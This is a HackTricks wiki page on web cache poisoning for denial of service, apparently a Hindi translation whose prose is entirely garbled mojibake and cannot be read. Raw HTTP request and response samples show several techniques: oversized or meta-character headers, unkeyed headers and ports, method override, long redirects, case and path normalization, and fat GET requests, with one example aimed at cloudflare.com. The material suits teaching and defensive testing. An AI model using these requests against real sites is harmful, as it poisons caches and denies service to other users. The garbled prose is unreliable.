9.2 KiB
Cache Poisoning to DoS
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
{% hint style="danger" %} рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗ рдЬреЛ рдХреИрд╢ рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╣реИрдВ {% endhint %}
- HTTP Header Oversize (HHO)
рдПрдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ рдЬрд┐рд╕рдореЗрдВ рд╣реЗрдбрд░ рдХрд╛ рдЖрдХрд╛рд░ рд╡реЗрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдЖрдХрд╛рд░ рд╕реЗ рдмрдбрд╝рд╛ рд╣реЛ рд▓реЗрдХрд┐рди рдХреИрд╢ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдЖрдХрд╛рд░ рд╕реЗ рдЫреЛрдЯрд╛ рд╣реЛред рд╡реЗрдм рд╕рд░реНрд╡рд░ 400 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдЧрд╛ рдЬреЛ рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
- HTTP рдореЗрдЯрд╛ рдХреИрд░реЗрдХреНрдЯрд░ (HMC) рдФрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдорд╛рди
рдПрдХ рд╣реЗрдбрд░ рднреЗрдЬреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдХреБрдЫ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдореЗрдЯрд╛ рдХреИрд░реЗрдХреНрдЯрд░ рдЬреИрд╕реЗ рдФрд░ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВред рд╣рдорд▓реЗ рдХреЗ рд╕рдлрд▓ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдХреИрд╢ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
A badly configured header could be just \:
as a header.
рдпрд╣ рднреА рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдорд╛рди рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд Content-Type:
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
- Unkeyed header
рдХреБрдЫ рд╡реЗрдмрд╕рд╛рдЗрдЯреЗрдВ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рд▓реМрдЯрд╛рдПрдВрдЧреА рдпрджрд┐ рд╡реЗ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реЗрдбрд░ рдЬреИрд╕реЗ X-Amz-Website-Location-Redirect: someThing рд╣реЗрдбрд░ рдХреЛ рджреЗрдЦрддреА рд╣реИрдВ:
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
- HTTP Method Override Attack (HMO)
рдпрджрд┐ рд╕рд░реНрд╡рд░ X-HTTP-Method-Override
, X-HTTP-Method
рдпрд╛ X-Method-Override
рдЬреИрд╕реЗ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде HTTP рд╡рд┐рдзрд┐ рдХреЛ рдмрджрд▓рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рддреЛ рдПрдХ рд╡реИрдз рдкреГрд╖реНрда рдХреЛ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рд╡рд┐рдзрд┐ рдХреЛ рдмрджрд▓рдХрд░ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рдЗрд╕рдХрд╛ рд╕рдорд░реНрдерди рди рдХрд░реЗ рдФрд░ рдПрдХ рдЦрд░рд╛рдм рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреИрд╢ рд╣реЛ рдЬрд╛рдП:
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
- Unkeyed Port
рдпрджрд┐ Host рд╣реЗрдбрд░ рдореЗрдВ рдкреЛрд░реНрдЯ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдХреИрд╢ рдХреБрдВрдЬреА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдПрдХ рдЕрдкреНрд░рдпреБрдХреНрдд рдкреЛрд░реНрдЯ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
- Long Redirect DoS
рдЬреИрд╕реЗ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, x рдХреЛ рдХреИрд╢ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдПрдХ рдРрд╕рд╛ URL рднреЗрдЬреЗ рдЬреЛ рдЗрддрдирд╛ рдмрдбрд╝рд╛ рд╣реЛ рдХрд┐ рдпрд╣ рдПрдХ рддреНрд░реБрдЯрд┐ рд▓реМрдЯрд╛рдПред рдлрд┐рд░, рдЬреЛ рд▓реЛрдЧ рдмрд┐рдирд╛ рдХреИрд╢ рдХрд┐рдП рдЧрдП x рдХреБрдВрдЬреА рдХреЗ URL рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗ, рдЙрдиреНрд╣реЗрдВ рддреНрд░реБрдЯрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдорд┐рд▓реЗрдЧреА:
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
- рд╣реЛрд╕реНрдЯ рд╣реЗрдбрд░ рдХреЗрд╕ рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг
рд╣реЛрд╕реНрдЯ рд╣реЗрдбрд░ рдХреЛ рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рд▓реЗрдХрд┐рди рдХреБрдЫ рд╡реЗрдмрд╕рд╛рдЗрдЯреЗрдВ рдЗрд╕реЗ рд▓реЛрдЕрд░рдХреЗрд╕ рдореЗрдВ рдЕрдкреЗрдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдпрджрд┐ рдпрд╣ рдирд╣реАрдВ рд╣реИ рддреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рд▓реМрдЯрд╛рддреА рд╣реИрдВ:
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
- рдкрде рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг
рдХреБрдЫ рдкреГрд╖реНрда рддреНрд░реБрдЯрд┐ рдХреЛрдб рд▓реМрдЯрд╛рдПрдВрдЧреЗ рдЬрдм рдкрде рдореЗрдВ рдбреЗрдЯрд╛ URLencode рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреИрд╢ рд╕рд░реНрд╡рд░ рдкрде рдХреЛ URLdecode рдХрд░реЗрдЧрд╛ рдФрд░ URLdecoded рдкрде рдХреЗ рд▓рд┐рдП рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдЧрд╛:
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
- Fat Get
рдХреБрдЫ рдХреИрд╢ рд╕рд░реНрд╡рд░, рдЬреИрд╕реЗ Cloudflare, рдпрд╛ рд╡реЗрдм рд╕рд░реНрд╡рд░, рдмреЙрдбреА рдХреЗ рд╕рд╛рде GET рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдПрдХ рдЕрдорд╛рдиреНрдп рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
рд╕рдВрджрд░реНрдн
- https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52
- https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------
{% hint style="success" %}
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ telegram рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter ЁЯРж рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ @hacktricks_live.
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред